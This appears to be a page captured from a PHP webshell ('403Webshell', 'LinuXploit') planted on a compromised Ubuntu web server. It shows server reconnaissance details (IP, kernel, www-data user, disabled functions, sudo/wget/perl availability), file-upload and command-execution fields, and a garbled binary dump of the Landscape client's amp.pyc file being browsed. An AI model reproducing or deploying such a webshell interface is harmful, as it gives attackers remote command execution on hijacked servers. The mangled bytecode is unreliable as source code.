403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/landscape/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/landscape/amp.pyc
ó
}9Rc@s…dZddlZddlZddlmZmZmZdefd„ƒYZd„Z	d„Z
defd	„ƒYZd
„ZdS(shCommunication between components in different services via twisted AMP.

The Landscape client is composed by several processes that need to talk to
each other. For example the monitor and manager processes need to talk to
the broker in order to ask it to add new messages to the outgoing queue, and
the broker needs to talk to them in order to dispatch them incoming messages
from the server.

This module implements a few conveniences built around L{landscape.lib.amp} to
let the various services connect to each other in an easy and idiomatic way,
and have them respond to standard requests like "ping" or "exit".
iÿÿÿÿN(tMethodCallClientFactorytMethodCallServerFactorytRemoteObjecttComponentPublishercBs/eZdZeZd„Zd„Zd„ZRS(sPublish a Landscape client component using a UNIX socket.

    Other Landscape client processes can then connect to the socket and invoke
    methods on the component remotely, using L{MethodCall} commands.

    @param component: The component to publish. It can be any Python object
        implementing the methods listed in the C{methods} class variable.
    @param reactor: The L{LandscapeReactor} used to listen to the socket.
    @param config: The L{Configuration} object used to build the socket path.
    cCsC||_||_||_d|_tt|ƒƒjƒ|_dS(N(	t_reactort_configt
_componenttNonet_porttget_remote_methodsttypetkeystmethods(tselft	componenttreactortconfig((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyt__init__"s
				cCsFt|j|jƒ}t|j|jƒ}|jj||ƒ|_dS(sStart accepting connections.N(RRRt_get_socket_pathRRtlisten_unixR(R
tfactorytsocket_path((s1/usr/lib/python2.7/dist-packages/landscape/amp.pytstart)scCs
|jjƒS(sStop accepting connections.(Rt
stopListening(R
((s1/usr/lib/python2.7/dist-packages/landscape/amp.pytstop/s(t__name__t
__module__t__doc__RRRRR(((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyRs

		cCs[i}xNt|ƒD]@}t||ƒ}t|ddƒ}|dk	r|||<qqW|S(srGet all the remote methods declared on a class.

    @param klass: A class to search for AMP-exposed methods.
    tamp_exposedN(tdirtgetattrR(tklasstremote_methodstattribute_nametpotential_methodtname((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyR	4scCs|j|_|S(sa
    A decorator for marking a method as remotely accessible as a method on a
    component.
    (RR(tmethod((s1/usr/lib/python2.7/dist-packages/landscape/amp.pytremoteBstComponentConnectorcBsGeZdZeZdZeZe	d„Z
dde	d„Zd„ZRS(sùUtility superclass for creating connections with a Landscape component.

    @cvar component: The class of the component to connect to, it is expected
        to define a C{name} class attribute, which will be used to find out
        the socket to use. It must be defined by sub-classes.
    @cvar factory: The factory class to use for building protocols.
    @cvar remote: The L{RemoteObject} class or sub-class used for building
        remote objects.

    @param reactor: A L{LandscapeReactor} object.
    @param config: A L{LandscapeConfiguration}.
    @param retry_on_reconnect: If C{True} the remote object built by this
        connector will retry L{MethodCall}s that failed due to lost
        connections.

    @see: L{MethodCallClientFactory}.
    cCs(||_||_||_d|_dS(N(RRt_retry_on_reconnectRt
_connector(R
RRtretry_on_reconnect((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyRas			csäˆjˆjjƒ‰dˆ_ˆ_ˆjˆ_ˆjˆ_|ˆ_|rX|ˆ_n‡fd†‰‡‡fd†}‡fd†}t	ˆj
ˆjƒ}ˆjƒ}ˆjj
|ˆƒˆ_|s×|j|ƒn|j|ƒS(sConnect to the remote Landscape component.

        If the connection is lost after having been established, and then
        it is established again by the reconnect mechanism, an event will
        be fired.

        @param max_retries: If given, the connector will keep trying to connect
            up to that number of times, if the first connection attempt fails.
        @param factor: Optionally a float indicating by which factor the
            delay between subsequent retries should increase. Smaller values
            result in a faster reconnection attempts pace.
        @param quiet: A boolean indicating whether to log errors.
        gš™™™™™©?csˆjjdˆjjƒdS(Ns%s-reconnect(RtfireRR#(tignored(R
(s1/usr/lib/python2.7/dist-packages/landscape/amp.pytfire_reconnect}scsˆjˆƒ|S(N(tnotifyOnConnect(R%(R,R(s1/usr/lib/python2.7/dist-packages/landscape/amp.pyt	connected€s
cstjdˆjjƒ|S(NsError while connecting to %s(tloggingterrorRR#(tfailure(R
(s1/usr/lib/python2.7/dist-packages/landscape/amp.pyt	log_error„s(RRtinitialDelaytdelayR'tretryOnReconnectR%t
maxRetriestfactorRRRtgetRemoteObjecttconnect_unixR(t
addErrbacktaddCallback(R
tmax_retriesR7tquietR.R2Rtdeferred((R
RR,s1/usr/lib/python2.7/dist-packages/landscape/amp.pytconnectgs 	cCsB|jdk	r>|jj}|jƒ|jjƒd|_ndS(s4Disconnect the L{RemoteObject} that we have created.N(R(RRt
stopTryingt
disconnect(R
R((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyRA‘s


N(
RRRRRRRRR%tFalseRR?RA(((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyR&Ks*cCstjj|j|jdƒS(Ns.sock(tostpathtjointsockets_pathR#(RR((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyRšs(
RRCR/tlandscape.lib.ampRRRtobjectRR	R%R&R(((s1/usr/lib/python2.7/dist-packages/landscape/amp.pyt<module>s 			O

Youez - 2016 - github.com/yon3zu
LinuXploit